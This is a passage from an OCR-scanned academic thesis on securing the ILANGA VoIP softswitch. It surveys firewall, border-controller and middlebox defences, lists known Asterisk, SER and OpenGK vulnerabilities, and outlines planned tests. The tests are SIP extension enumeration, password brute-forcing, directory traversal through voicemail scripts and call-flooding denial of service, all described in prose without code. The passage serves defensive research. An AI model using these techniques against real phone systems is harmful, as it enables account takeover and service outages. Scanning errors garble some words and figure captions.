Advantages 
Firewalls are the first line of defence for any network or computer against attackers 
[68]. They block unwanted traffic from passing through them, traffic that might be 
damaging to the internal network or traffic that is not allowed to leave the internal 
network. They provide a central location for applying security policies where, if 
designed properly, no traffic can enter or leave the network without passing through 
the firewall. 
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Disadvantages 
The main problem with a firewall is not the speed of its connection to the network 
traffic but rather if its CPU can handle the volume of packets passing through it [68]. 
With signalling traffic the firewall has to inspect deeply into the packet to determine 
its validity. A flood of call requests could overload the CPU, causing a delay and 
degrade the QoS for VoIP. The sheer volume of RTP packets would also create stress 
within the firewall 's CPU because each packet has to be inspected. 
Opening several ports on a firewall to allow signalling traffic through also opens these 
ports to potential attacks [68]. If ports are to be opened, attention must be paid to 
administration and rule definitions for the firewall. Application Level Gateways 
(ALGs) and Firewall Control Proxies can be used to solve this problem without 
opening ports in the firewall. 
2,5.4 Session border controllers 
A Session Border Controller (SBC) is a VoIP session aware device. It is located at the 
border of a network on the public address side of the firewall and all signalling and 
media traffic is sent through this device. It allows a network to have a secure public 
VoIP presence. An SBC consists of two logical parts, the signalling SBC function 
(SBC-SIG) and the media SBC function (SBC-MEDIA). These two functions can be 
found on the same device or spread over two devices [55,84]. 
How an SBC can be used in conjunction with a firewall and a given public IP address 
is shown in Figure 3. VolP endpoints register with a registration server outside of the 
firewall via the SBC. The SBC modifies the registration messages and uses one of its 
own public addresses in the message. The internal addresses of the VoIP endpoints 
are then hidden by the SBC and other external VoIP endpoints communicate with the 
internal VolP endpoints via the SBC. The firewall rules are changed to only allow 
signalling and media traffic to pass via the SBC, so all outgoing traffic leaving the 
firewall is sent to the SBC and only incoming traffic from the SBC is accepted. 
25 
Signall ing 
Siglla!Jing 
FirJu,alJ SHe Media 
T . ~ • L~~~~~:~~:L __ ~ Media Media 
Anacker 
spoofing sse 
Figure 3: Session border controller 
Advantages 
A SSC can perfonn NAT and this will hide the topology of the internal network by 
changing the private addresses of VoW devices. An SSC can act as a firewall or 
cooperate with an existing firewall by dynamically opening pinholes in the firewall to 
allow signalling and media traffic to pass through. A firewall can be used to limit all 
signalling and media traffic to the SSC and allow a VoIP device behind a firewall and 
NAT to send and receive signalling and media traffic without upgrading the device or 
firewall. 
The SSC can provide call admission control, and enforce security and call routing 
policies. This will protect the internal network from DoS attacks and congestion by 
limiting the call rate to that which the backbone can handle and be used to provide 
high availability by redirecting traffic to backup servers. 
SSCs can also be used for media bridging between different codecs and to negotiate 
signalling protocol interworkings. They can also be used to provide call record details 
and billing information [55,68,84]. 
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Disadvantages 
One drawback of using an SBC to control signalling traffic is that it will need to be 
upgraded if new protocols are used or new functions are added to protocols [146]. 
Thi s is because a SBC has to understand the signalling traffic to enforce security and 
cal1 routing policies. 
One way for an attacker to get around this setup would be to trick the firewall into 
believing that the attacker was the SBC and then to pass through the firewal1 on the 
pons open for the SBC. Since the SBC is placed on the outside of the firewall it will 
be open to attackers. If the SBC is compromised, the attacker would nOl have to spoof 
the SBC's IP address and would be able to past through the firewall. 
2.5.5 Middlebox communication 
A middlebox solution is a separate device that is placed outside the firewall and is 
considered to be a trusted system. A middlebox differs from an SBC in the fact that 
only the signalling traffic passes through it, whereas the signalling and media traffic 
passes through SBC. It is used to relieve the processing done by the firewall and 
performs the functions associated with an ALG [68]. The device can be an in-path 
system such as an H.323 GK or SIP proxy that sits in the signalling path of the VolP 
traffic. It processes the signalling traffic, and instructs the firewall to open or close 
pons for the media traffic via the open-source Middlebox Communication 
(MIDCOM) [147] protocol [!O5]. 
Figure 4 depicts how a Ranch Networks middlebox solution works with an ASTERISK 
server through the MIDCOM protocol. The middlebox can work in combination with 
a firewall or function as the firewall. On the Ranch Networks middlebox the SIP pan 
(5060) is always open. When an incoming SIP packet is received it is fOlwarded to the 
ASTERISK server. The ASTERlSK server processes the packet, checking authorization, 
and then decides what to do with it. For example: it can kill the packets or set up the 
call and tell the Ranch Networks middlebox which RTP pan to open via MIDCOM. 
Once the call is complete the RTP pan is closed. 
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Figure 4: The interaction between a softswitch, a Ranch Network middle box and a firewall 
Advantages 
A performance improvement will be achieved by spreading the processing load of the 
firewall over two devices [68]. A middlebox can protect a softswitch from DoS 
attacks through the RTP ports by not having them open to an un-trusted network and 
only opening them when needed [146). 
Disadvantages 
Since the middlebox device is placed outside of the firewall and it is considered a 
trusted device that controls the firewall, it will need protection from attackers. If an 
attacker takes control of a middlebox device, the attacker will be able to open ports on 
the firewall and gain access in the internal network as shown in Figure 5. It is 
recommended that an additional firewall should be placed to protect the middlebox 
device [68). 
28 
Attacker' 
Signalling 
./ Attacker uses Attacker can now pass 1 MIDCOM to open through the firewall ports on the firewall 
Ranch Firewall 
Networks 
middlebox MlDCOM 
. 1 Media 
---- - --------- ---- -------
s ignalling MIDCQM I Attacker can 
now gain access 
Media 
~ 
Asterisk 
~ Internal 
network 
~ . ~ 
Figure 5: An attack on a middlebox 
2.6 ILANGA 
ILANGA is a system that was developed at Rhodes University [101]. It is an open-
source computer-based telecommunication system. ILANGA is capable of merging 
PBX systems, VoIP using either SIP or H.323 and the PSTN into one 
communications network. ILANGA is built up from various open-source components 
including ASTERISK, SER, OPENH323 GATEKEEPER (OPENGK) and MySQL. ILANGA 
has a web front-end that is made up from the MACROMEDIA FLASH PLAYER and the 
PYTHON, PHP [153] and PERL scripts. These script files communicate with the 
MySQL database and ASTERISK. Communication with ASTERISK is done through the 
ILANGA proxy, which interacts with ASTERISK via the ASTERISK Manager API. SER 
acts as a SIP proxy within ILANGA, which in turn communicates with ASTERISK. 
ASTERISK fonns the centre of the ILANGA system and is connected to the PSTN and 
PBXs [56]. These components will be discussed below and a funher detailed 
discussion on how the components interact will be given in Section 3.2. 
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2.6.1 ASTERISK 
ASTERISK is an open-source, time-division multiplexing (TDM), packet-voice PBX 
and interaction-voice response (IVR) system with automatic call distribution (A CD) 
functionality. ASTERISK is able to combine a large variety of hardware and software. 
Its goal is to suppott every type of telephony technology into a single environment 
where any application or collection of applications can be used by the user. ASTERISK 
can be used in the following applications [144]: 
• Heterogeneous Voice over IP gateway (MGCP, SIP, lAX, H.323) 
• PBX 
• Custom IVR server 
• Softswitch 
• Conferencing server 
• Number translation 
• Calling card application 
• Predictive dialler 
• Call queuing with remote agents 
• Remote offices for existing PBX 
The most important feature of ASTERISK is that it can perform all of the above roles 
simultaneously, seamlessly and consistently between different interfaces. ASTERISK 
can achieve this by acting as the middleware between telephony technologies and 
telephony applications. This allows for any application to transparently function with 
any piece of telephony hardware. As a consequence ASTERISK creates a consistent 
environment for deploying a mixed telephony environment [144]. 
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2.6.2 SIP EXPRESS ROUTER 
SER is an open-source SIP proxy. It provides all the functionally that SIP can provide, 
it can keep track of users, set up sessions, relay instant messages and create space for 
new plug-in applications. SER can also be put into Registration, Proxy or Redirect 
Server mode to provide mobility to users, and since SER is highly configurable it can 
be used for a network security barrier, PSTN gateway guard and an application server 
with support for [66]: 
• Call processing Language (CPL) 
• Instant messaging and presence (IM&P) 
• 20/SMS gateway 
• A call control policy language 
• Call number translation 
• Private dial plans 
• Accounting, authorization and authentication (AAA) services. 
2.6.3 OPENH323 GATEKEEPER 
OPENOK is an open-source system that implements a H.323 OK based on the 
OpenH323 protocol stack. The H.323 OK is responsible for management, 
authentication, authorization and alias address mapping in a H.323 network [10 I]. 
OpenOK provides call control services to the H.323 endpoints namely [168]: 
• Address translation 
• Admissions control 
• Bandwidth control 
• Zone management 
• Call control signalling 
• Call authorization 
• Bandwidth management 
• Call management 
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2.6.4 Web access 
ILANGA has a front-end management web application [56) written in MACROMEDIA 
FLASH PLAYER, discussed in Subsection 2.4.4, and running on an APACHE server. It 
allows users to log in to the system and perform certain tasks, such as listen to, delete 
and archive voicemails, mOdify their details , check their prepaid balance, assign 
devices that are available to receive phone calls, look up call records and browse the 
directory of other users on the system. From the directory tab the user can establi sh 
calls to other users on the system via a point and click method and the user can see if 
another user is busy on a call. 
The MACROMEDIA FLASH-based front-end communicates with ASTERISK and the 
MYSQL database through a proxy that has been written in PERL. The proxy 
communicates wi th ASTERISK via the ASTERISK Manager API. Through the Manager 
API it is possible to establish a call between two endpoints. This is first done in the 
MACROMEDIA FLASH front-end and then passed onto the proxy, which finally 
connects to ASTERISK and establishes the call [56). 
2.6.5 Database 
ASTERISK uses a MySQL database back-end to store information such as CDRs, user 
information and information about other ASTERISK servers. It is common to find a 
MYSQL database been used with ASTERISK. The ILANGA setup uses only a few tables 
in the asterisk database, the users. iax{riends, cdr and the call extensions tables [56,144). In 
the latest version of ASTERISK, there is a new method of using the database called 
ASTERISK-REALTIME where the configuration files are stored in the database and then 
can be changed without the need to restart ASTERISK in order to implement the 
changes. 
32 
2.7 Known vulnerabilities of the main components of 
ILANGA 
The known vulnerabilities for the main components of ILANGA. namely ASTERISK. 
SER and OPENGK. have been documented by several security and bug-tracking 
websites. Although these vulnerabilities have been fixed and are not considered a 
threat to the latest versions of ASTERISK. SER and OPENGK at the time of writing. it is 
a good idea to review these vulnerabilities. to see if there are no similar types of 
vulnerabilities still in the code. More information and references for these 
vulnerabilities can be found in Appendix A. 
2.7.1 ASTERISK 
Twelve vulnerabilities of ASTERISK have been found to date. 12 December 2006. The 
first vulnerability was found on September the 4th 2003 by a company called @stake 
[166]. @stake was able to exploit a SIP implementation issue that could allow an 
attacker to gain remOle and unauthenticated access to the host. This was achieved by 
using a specially crafted SIP request. of type MESSAGE and INFO. with a body 
length of 1024 bytes which caused the end of an internal buffer to be overwritten. 
This in tum allowed @stake to gain access to the host with the access level of the user 
that ASTERISK was running as. It is recommended that the user should use a version of 
ASTERISK that was released after the 15th of August 2003. Websites that confirm this 
vulnerability are: Common Vulnerabilities and Exposures [221 . Internet Security 
Systems [621. Secunia [1221 and Security Focus [130]. 
The next ASTERISK vulnerability was reported on the 13th of September 2003 and 
allows an attacker to inject arbitrary SQL code into the CDRs table. This is because 
the "CallerID" variable in the CDRs module is not verified properly. The 
vulnerability affects ASTERISK version 0.4 and earlier. Websites that confirm this 
vulnerability are: Common Vulnerabilities and Exposures [231. Internet Security 
Systems [59]. Neohapsis Archives [801. Open Source Vulnerability Database [861. 
Secunia [1151 and Security Focus [127]. 
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The logging format string vulnerabilities were disclosed on the 18 June 2004 and 
affects ASTERISK version 0.7.x. ASTERISK 0.7.x contains multiple format string 
vulnerabilities in its logging functions and this can be exploited to crash ASTERISK 
and possibly execute arbitrary code. The solution would be to upgrade to 0.9.0 or 
higher. "kfinisterre@secnetops.com" disclosed these vulnerabilities. Websites that 
confirm this vulnerability are: SANS [110], Secure Network Operations [124] and 
Security Focus [129]. 
The ASTERISK Manager API remote buffer overflow vulnerability was disclosed on 
the 22'd of June 2005. Proper bounds checking on the management command string 
were not carried out and can be exploited with a specially crafted request resulting in 
a buffer overflow and then loss of integrity. This vulnerability affects ASTERISK 1.0.7 
and can be fix by upgrading to 1.0.8 or by making sure that the parameter 
"write=command" is not enabled within the manager. con! file. Credit for this 
vulnerabi lity is to Wade Alcorn from Portculli s Computer Security Ltd [6,103]. 
Websites that confirm this vulnerability are: bindshel1.net [15], Common 
Vulnerabilities and Exposures [25], Neohapsis Archives [82], Open Source 
Vulnerability Database [90], Secunia [119] and Security Tracker [135]. 
The ASTERISK vmail.cgi Script Remote Directory Traversal Vulnerability was found 
on the 7'h of November 2005. This allows an authenticated user to gain access to other 
users' .wav file voice mails. Through a traversal style attack where the user can 
change directories using ",,/..f' command by logging into the ASTERISK voicemail 
system as himself but then changing directories to that of another user. This 
vulnerability affects ASTERISK@HoME 1.5 and 2.0-beta4 and also ASTERISK 1.0.9 and 
ASTERISK 1.2.0-betal. The workaround for this vulnerability is to upgrade to 
ASTERISK 1.2.0-rc2. Adam Pointon from Assurance Pty Ltd [9] has been credited with 
discovering thi s vulnerability. The successful exploit of this vulnerability can be 
found in Chapter 3 section 6. Websites that confirm thi s vulnerability are: Assurance 
[10], Common Vulnerabilities and Exposures [26], FrSIRT [46], Insecure.org [57], 
Internet Security Systems [63], Neohapsis Archives [81], Open Source Vulnerability 
Database [95], Secunia [114], Security Focus [131] and Security Tracker [138]. 
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The Asterisk JPEG image processing buffer overflow vulnerability was first disclosed 
on the 71h of April 2006 and Emmanouel Kellinis is credited for this vulnerability. An 
attacker can take advantage of a buffer overflow error in the Jormat.Jpeg.c script by 
using a specially crafted overly large JPEG image which may allow arbitrary code to 
be executed. Asterisk version 1.2.6 or earlier is affect and it is recommended to 
upgrade to Asterisk version 1.2.7 or later. Websites that confirm this vulnerability are: 
Common Vulnerabilities and Exposures [27], FrSIRT [48], Open Source 
Vulnerability Database [89] and Secunia [118). 
A vulnerability in the ASTERISK chan_iax2 IAX2 channel driver was released on the 
51h of June 2006. This vulnerability allows a remote attacker to cause a DoS and 
execute malicious code, with the privileges of the ASTERISK daemon, via a truncated 
IAX2 video frame which bypasses a length check and leads to a buffer overflow. 
This vulnerability affects Asterisk 1.2.8 or earlier and Asterisk 1.0. 10 or earlier. It is 
recommended to upgrade to Asterisk 1.2.9.1 or later and Asterisk 1.0.11.1 or later. 
Damian Saura, Alejandro Lozanoff, Eduardo Koch, Norberto Kueffner and Ivan Arce 
from Core Security Technologies [34] are credited with discovering this vulnerability. 
Websites that confirm this vulnerability are: Asterisk.org [II], Common 
Vulnerabilities and Exposures [28], Core Security Technologies [33], FrSIRT [47], 
Open Source Vulnerability Database [87] , Secunia [1 17], Security Focus [128] and 
Security Tracker [136] . 
Another vulnerability found in ASTERISK is an IAX2 protocol call request flood 
remote DoS attack which was discovered on the 141h of July 2006. This vulnerability 
enables an attacker to flood an ASTERISK server with unauthenticated call requests and 
thus stop the server from handling any new calls. This vulnerability affects Asterisk 
1.2.9 and earlier. It is recommended to upgrade to Asterisk 1.2.10 or later and to use 
the maxauthreq configuration option to limit the number of simultaneous 
unauthenticated calls. Credit is given to Tom Cross of the Internet Security Systems 
X-Force [60). Web sites that confirm this vulnerability are: Asterisk.org [44], Open 
Source Vulnerability Database [88] and Secunia [116] . 
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A vulnerability was found in the handling of file names sent to the ASTERISK RecordO 
application. The vulnerability has two parts: firstly. a format string error when 
handling malformed filenames could lead to the execution of malicious commands. 
Secondly. an input validation error when handling malformed filenames could lead to 
directory traversal and the overwriting of arbitrary files. This is caused by the use of 
client-controlled variables in determining filenames used in the RecordO application. 
It was disclosed on the 23'" of August 2006 and affects ASTERISK version 1.0.0 to 
1.2.10. The solution is to upgrade to version 1.2.11 or later. The Mu Security research 
team [77] reported this vulnerability. Websites that confirm this vulnerability are: 
Common Vulnerabilities and Exposures [30], FrSIRT [49]. Mu Security [78] and 
Open Source Vulnerability Database [92]. 
The next vulnerability was also disclosed by the Mu Security research team on the 
23,d of August 2006. They discovered a stack-based buffer overflow error in the 
MGCP implementation caused by a boundary error in Asterisk versions 1.0.0. to 
1.2.10. The buffer overflow error occurred when a specially crafted Audit Endpoint 
(AUEP) [7] response message was processed and enabled malicious code to be 
executed. Web sites that confirm this vulnerability are: Common Vulnerabilities and 
Exposures [29]. FrSIRT [49]. Mu Security [78]. Open Source Vulnerability Database 
[91] and Secunia [120]. 
A vulnerability in the geCinpul function of the ASTERISK skinny driver was found on 
the 18'h of October 2006. The skinny driver fails to check integer values resulting in a 
heap overflow error through specially crafted packets and an attacker may be able to 
execute malicious code with the privileges of the ASTERISK daemon. The skinny 
driver needs to be loaded for a system to be vulnerable. Asterisk 1.0.0 and Asterisk 
1.2.12 or earlier are affected by the vulnerability and it is recommended to upgrade to 
Asterisk 1.0.12 or 1.2.13 or higher. The vulnerability was reported by Adam Boileau 
from Security-assessment.com [125]. Websites that confirm this vulnerability are: 
Asterisk.org [12]. Common Vulnerabilities and Exposures [31]. FrSIRT [51]. Open 
Source Vulnerability Database [94]. Secunia [121]. Security-assessment.com [126]. 
Security Tracker [137] and United States Computer Emergency Readiness Team (US-
CERT) [158]. 
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The latest vulnerability was found in Asterisk 1.0.11 and Asterisk 1.2.12 or earlier, on 
the 30th of October 2006. There is an unspecified error in the SIP channel driver 
which by sending a malicious request would cause a 'pvt' structure to be created. The 
'pvt' structure would consume all available resources and thereby cause a DoS. 
Asterisk.org has released Asterisk 1.2.13 and 1.4.0-beta3 to fix this vulnerability. 
Jesus Oquendo reported this vulnerability. Websites that confirm this vulnerability 
are: Asterisk.org [13], Common Vulnerabilities and Exposures [32], FrSIRT [50], 
Internet Security Systems [61] and Open Source Vulnerability Database [93]. 
2.7.2 SIP EXPRESS ROUTER 
Three vulnerabilities have been found for SER. They are a register buffer overflow, a 
SIP implementation error and a missing "To" header in an ACK request which causes 
aDoS. 
A register buffer overflow vulnerability was disclosed On the 18th of January 2003. In 
version 0.8.10 of SER, an attacker can cause SER to crash by sending a too long 
contact list in a REGISTERs message. A patch was released for version 0.8 .1 0 and it 
was also recommended to upgrade to version 0.8. 11 . Web sites that confirm this 
vulnerability are: Security Space [134] and Vulnerability Assessment and Network 
Security Forums [164]. 
A SIP implementation vulnerability was discovered by the Oulu University Secure 
Programming Group (OUSPG) [150] on the 21" of February 2003, using their 
PROTOS c07-sip test suite [151]. The test suite was able to cause a DoS attack and 
execute arbitrary code with a specially crafted SIP INVITE message with SER version 
0.8.9 and earlier. A solution to this problem would be to upgrade to version 0.8.10 of 
SER or later. Websites that confirm this vulnerability are: CERT Advisory [20], 
Common Vulnerabilities and Exposures (CVE) [24], Internet Security Systems (ISS) 
[64], Security Focus [132] and United States Computer Emergency Readiness Team 
(US-CERT) [159]. 
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In October 2003 a vulnerability in SER 0.8.9 was disclosed where an ACKs request 
without a 'To' header could cause SER to crash when the SL module was enabled. It 
was recommended to upgrade to version 0.8.10 or later. Websites that confirm this 
vulnerability are: Security Space [133] and Vulnerability Assessment and Network 
Security Forums [163]. 
2.7.3 OPENH323 GATEKEEPER 
On the 15th of January 200 I an unspecified flaw related to lightweight Registration 
Request (RRQ) messaging was found in OPENGK version 1.1. It was recommended 
that the user upgrade to version 1.2 or later. The Open Source Vulnerability Database 
[96] website confinns this vulnerability. 
An unspecified flaw related to OnDRW was found in OPENGK version 2.0.1 and was 
disclosed on the 29th of November 2002. It was recommended for the user to upgrade 
to version 2.0.2 or later. The Open Source Vulnerability Database [97] website 
confinns this vulnerability. 
The third vulnerability found in OPENGK was an overflow in the socket handle and 
select code that could allow an attacker to execute arbitrary code. It was found on the 
19th of January 2005 in OPENGK version 2.2.0 and it was recommended to upgrade 
version 2.2.1 or later. Websites that confirm this vulnerability are : Open Source 
Vulnerability Database [98] and Secunia [123]. 
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2.8 Summary 
Chapter 2 introduced the reader to the background information relating to the problem 
statement of this thesis. Firstly VoIP was introduced and it was discussed why VoIP 
has become so popular. It was stated that the cost saving factor and the fact that VoIP 
is a flexible platform that new services and application can be easily added to have 
spurred this popularity. The different protocols that enable VoIP are introduced as 
SIP, H.323, lAX and MGCP. Although only SIP and lAX are used in the in ILANGA, 
that was introduced later in the chapter. 
Followings this, the risk towards VoIP are classified into VoIP specific risks and risks 
that are inherited from the lower layers in the VoIP architecture. VoIP specific risks 
include Request flooding, Malformed requests and messages and Spoofed messages. 
The risks that are inherited from the lower layers of the VoIP architecture are the risks 
associated with the services that VoIP is built upon. This includes the operating 
system, the IP network services, the SQL database and Macromedia Flash Player. 
These risks are not new to the computing environment and have been mostly dealt 
with by other computer scientists. These risks, as mentioned in Chapter I, fall outside 
of the scope of this thesis. 
Following the risks of VoIP, the current technologies for securing softswitches is 
discussed. These technologies include virtual local area networks, network address 
translation, application level firewalls, session border controllers and middlebox 
communication. The advantages and disadvantages of these technologies are 
discussed within the scope of VoIP. These are all technologies that have been around 
before VoIP and have now been adapted to work with VoIP. 
tLANGA is a system that was developed at Rhodes University. It is an open-source 
softswitch that merges PBX systems, VoIP and the PSTN into one network. ILANGA 
is bui lt up from ASTERISK, SER, MySQL, MACROMEDIA FLASH PLA YER and PYTHON, 
PHP and PERL scripts. 
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Lastly, in Chapter 2 the known vulnerabilities of the main components of ILANGA are 
discussed. These vulnerabilities were reviewed in order to learn more about the 
software that the test system is comprised of. 
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Chapter 3 - Hands-on experiments 
3.1 Introduction 
This chapter will discuss the experiments that have been carried out on ILANGA to 
determine if there are any vulnerabilities in the different components of ILANGA and if 
it is possible to secure ILANGA from malicious attacks. Firstly some preliminary 
security measures for securing ILANGA are discussed. This includes configuring the 
components of ILANGA to run as separate users. This is achieved by creating different 
user accounts in Linux and the MYSQL database that have restricted access and 
limited functionality. Following this, an overview of the experiments will be given 
which will be followed by the experiments themselves. 
3.2 Interactions within ILANGA 
ILANGA, introduced in Section 2.6, will now be explained in more detail. Figure 6 
shows the components that it is comprised of and how they interact. The black arrows 
in the figure represent network connections and the blue arrows show database 
connections made on the local host. Each of the components of ILANGA can be run on 
separate computers, allowing a distributed architecture. Throughout this project, 
however, ILANGA is run on a single computer. 
ASTERISK is at the core of the softswitch and performs much of the functionally that 
ILANGA provides. ASTERISK can handle, in the ILANGA case, the followings external 
default connections: lAX over UDP on port 4569, RTP over UDP ports 10000 to 
20000, Distributed Universal Number Discovery (DUNDi) [39] over UDP on port 
4520, and the ASTERISK Manager API on port 5038 and the internal default SIP 
connection over UDP on port 5060 [38]. All these connections are shown in Figure 6 
and additional information is provided about the security requirements for each 
connection. ASTERISK also queries the MYSQL database, the yellow block in Figure 
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6; this interaction is shown as the blue line between ASTERISK and the MYSQL 
database. 
SER, illustrated as the green block in Figure 6, is used as a SIP proxy in this case, but 
can also be used for redirecting and load balancing. SER handles SIP connections to 
the softswitch and connects to ASTERISK over SIP on port 5060. All VoIP endpoints 
are registered with SER. SER queries the MySQL to check if the VoIP endpoint is 
registered with it. All calls are passed from SER to ASTERISK, where the call is 
processed through the use of a dial plan and then passed back to SER [66]. 
The ILANGA proxy, depicted as the red block, is used to interface between the ILANGA 
front-end, shown by the purple block, and the ASTERISK Manager API, over TCP on 
port 5038. A connection is also made between the ILANGA proxy and the MYSQL 
database, where the proxy queries the database on the Asterisk table. 
The ILANGA proxy creates one connection with the ASTERISK Manager API and 
allows multiple connections from the ILANGA front-end over TCP on port 8305. The 
connection allows for more control over the messages sent to and from the ASTERISK 
Manager API. The ASTERISK Manager API will send a message to all the clients that 
are connected to it. To stop the broadcast of message to all clients, the ILANGA proxy 
will be the only client connected to the ASTERISK Manager API. This allows the 
messages to be filtered and sent to the correct clients connected to the ILANGA proxy. 
The connection between the ILANGA proxy and the ILANGA front-end is shown in 
Figure 6 as a one-to-many relationship. The ILANGA proxy and how it interfaces with 
ASTERISK and the ILANGA front-end is explained in more detail in Subsection 3.8.3. 
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The ILANGA front-end is based on MACROMEDIA FLASH. The Flash files, along with 
PHP and PERL scripts, are stored on the web server, depicted in Figure 6 as a 
computer. A web browser connects to the web server over TCP on pon 80 and 
through the MACROMEDIA FLASH pages interacts with the ILANGA proxy, the PHP and 
PERL script files. The PHP scripts are used to query the MYSQL database. This 
interaction is shown on the figure as a blue line between the web server and the 
MYSQL database. The PHP scripts file can select and update entries in the 
ascerisk.users and the asterisk.userdeviees tables. The PERL scripts are used to play, 
move and delete voicemail files on the computer running the softswitch. A PERL 
script is also used to edit the usereoneexc.eon! file in the /elc/ascerisk directory. As 
mentioned in the first paragraph of this section, the components of ILANGA can be 
executed on separate computers, with one exception. This exception is that the PERL 
scripts need to be executed on the same computer as the files that they will interact 
with. The PHP and PERL scripts are explained in more detail in Subsections 3.8.1 and 
3.8.2 respectively. 
The next section discusses preliminary security measures to strengthen the security of 
rLANGA. Following this, an overview of the experiments will be given and then the 
experiments themselves. 
3.3 Preliminary security measures 
The Subsection 3.3.1 discusses the steps required to run ASTERISK, SER, the ILANGA 
front-end scripts and the web server as non-privileged users. This subsection is 
included because ILANGA, including ASTERISK and SER, are by default run as root 
users and thi s will add to the security of the ILANGA infrastructure. The purpose of 
having each component running as an individual user is to minimise the damage if an 
attacker compromises one of the components. This can be achieved by restricting the 
privileges that the attacker will gain to the compromised component's privileges. 
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How the ILANGA components access the MySQL database also needs to be restricted, 
as mentioned in Subsection 2.4.3, because by default all the components access the 
MYSQL database as the root user; this is discussed in Subsection 3.3.2. This is 
achieved by assigning each component a user account in MYSQL instead of using the 
root account. The new users will only be granted certain privileges on the databases 
that are of relevance to them and only access from the local host is pertnitted. In this 
case, the MYSQL database and the ILANGA components are on the same server. 
3,3.1 ASTERISK, SER, rLANGA front-end and rLANGA proxy 
Firstly, a new user account on the Linux OS needs to be created for ASTERlSK and 
SER. The ILANGA proxy can be started as a normal user so no new user account had to 
be created for it. Certain ASTERISK and SER configuration files need to be edited. The 
exact steps for this can be found in Appendix A. 
3.3.2 Access to the MvSQL database 
As mentioned in the introduction to Section 3.3, how the different components of 
ILANGA access the MYSQL database needs to be restricted. This can be achieved by 
controlling the access rights and privileges to a MYSQL database as follows: the user 
table in the MYSQL database is used to add users to MySQL and to specify how the 
users connect to the database. The users can connect from either the local host, the 
remote port or both. The user table also controls the privileges granted, which will 
apply to all the databases in MYSQL. The db table is used to grant privileges to a user 
for a certain database. thereby limiting a user to a certain database in MySQL. The 
table...}Jriv restricts a user to certain privileges on certain tables and certain columns 
within a table in a database. The columns...}Jriv table goes one step further and is used 
to restrict a user to certain columns within a table. 
Each component of ILANGA has been assigned an account on the MYSQL database. 
This is achieved by adding a new user to the user table in the MYSQL database and 
setting the password. No privileges are granted forthe users in this table. If privileges 
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were granted in this table it would mean that if one of these users were compromised, 
an attacker would be able to access the other databases. 
As previously mentioned, a summary of how each component of ILANGA connects to 
the MVSQL database is shown in Figure 6 by the alphabetically labelled blocks 
around the MvSQL database. The blocks show, in the first line, the usemame required 
to log into the database. The second line shows how the component connects to the 
database. In this case all the components are connecting to the database from the local 
host and are using the mysql. sock connection file . The third and fourth lines show that 
a usemame and password are required for that particular component to log into the 
database. The remainder of the lines in the blocks specify the privileges that a 
particular user has in the database. An explanation of each block and how the 
privileges for each component were granted is given below. 
In Figure 6, block A describes how the SER component connects to the database. 
When SER is installed, it creates two users in the MVSQL database, ser and serro but 
only the user serro is used. The user serro only has select privileges on the SER 
database. In the ser.cfg file the following line needs to be changed so that the MVSQL 
database will be accessed with the user serro: 
modparam("auth_db", "db_uri", "mysql:/lserro:{your password}@localhostlser") 
The ILANGA front-end scripts have been given access to the ASTERISK database 
through the user ilangaweb, depicted in block B. The ilangaweb user only has select 
and update privileges on the users and userdevices tables. This was achieved by 
adding the ilangaweb user to the user table in the MVSQL database with no privileges 
and then adding to the table-priv table two new entries, one for each table that 
privileges are granted for. 
The ILANGA proxy connects to the MvSQL database with the ilangaproxy user, 
shown as block C in Figure 6, and has select privileges on the Asterisk Database. The 
asterisk user has select, update and insert privileges on the asterisk database, shown 
by block D in Figure 6. For both of these users their privileges have been granted 
through an entry, for each, in the db table. 
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3.4 Overview of vulnerabilities and experiments 
Section 3.3 has already described how each component is run as a separate user and 
the restriction that each user has for database access. Each of the experiments 
discussed in this section are highlighted in Figure 7. a simplified representation of 
ILANGA. 
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An attacker could possibly exploit a softswitch through one of the registered user's 
accounts on the softswitch. In the ILANGA case, the components involved in this 
attack are indicated with the shaded box A in Figure 7. For this attack to work, the 
attacker needs to find out which extensions are registered on the softswitch . To do 
this, a SIP extension discovery tool has been developed, discussed in Subsection 
3.5.1, which tries to register wi th the softswitch on the well known SIP port (5060). In 
this case, as shown in Figure 7, the tool will be trying to register with SER. Then, 
depending on the error message returned, it can determine which extensions are valid 
on the softswitch. 
Once the attack depicted in shaded box A in Figure 7 has been completed, it will be 
known to the attacker which extensions are valid on the softswitch . If the attacker 
wants to access ILANGA using these extensions, the attacker will need the password 
for each extension. Another tool, explained in more detail in Subsection 3.5.2, has 
been developed to try and find an extension's password by brute force. Multiple SIP 
registration messages are sent to the softswitch, with each one having a different 
password. These messages are sent until the softswitch sends a SIP message back with 
the code 200. A message with the code 200 means that the tool has successfully 
registered the user with the softswitch and so the correct password is now known. 
Again, the components involved in this attack are grouped with the shaded box A in 
Figure 7. 
The following scenario describes what an attacker could achieve once registered on 
the softswitch through another user's account. Take for example Alice, who has an 
account on ILA.NGA. 
The attacker can now access Alice's voicemails, through the ILANGA front-end shown 
as the shaded box B in Figure 7, possibly disabling her account by changing her 
password in the MYSQL database. This will prohibit her VoIP devices from 
registering with the softswitch, or the attacker could place her VoIP devices into an 
inoperable mode. The attacker could also register their own VoIP device with the 
softswitch using Alice's credentials, allowing the attacker to place and receive calls 
through her account. 
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Now that the auacker has access to a user's account, the attacker could possibly alter 
packets sent to the web server, via the ILANGA front-end, which could retrieve or 
update information in the database. This will be discussed in more detail in Section 
3.6. The ILANGA front-end is shown in Figure 7 as the purple block within the shaded 
box C. 
A known vulnerability in ASTERISK 1.0.9 is the ASTERISK vrnail.cgi Script Remote 
Directory Traversal Vulnerability. This vulnerability allowed a registered user on 
ASTERISK to change directories and retrieve another user's voicemail through the 
vrnail.cgi file. Since the auacker could have a user's credentials, from using the tools 
described in Subsections 3.5.1 and 3.5.2, this would be possible. But ILANGA does not 
make use of the vrnail.cgi file to retrieve user's voicemails but uses the ILANGA front-
end to do this. ILANGA uses its own cgi files that call PERL scripts. These PERL 
scripts are used to delete, move and play voicemails and reload ASTERISK extensions. 
They are located on the web server, shown in Figure 7 by the shaded box D; this 
service runs on same server as ASTERISK. By using a similar method as in the vmail 
vulnerability in ASTERISK 1.0.9, the attacker could cause harm through these PERL 
scripts. This type of attack will be discussed in Subsection 3.8.2. 
ASTERTEST [I] is designed to test the maximum call limit of an ASTERISK server, the 
shaded box E in Figure 7, by making concurrent calls to an ASTERISK server from 
another ASTERISK server. Once the ASTERISK server has reached the maximum 
number of calls, no other calls can be made through the ASTERISK server. So if an 
attacker could 'flood' the ASTERISK server with calls, no other users would be able to 
make or receive a call, amounting to a DoS auack. This experiment is discussed in 
more detail in Section 3.9. 
Finally, a tool called SIVUS [161] could be used to flood SER with malformed SIP 
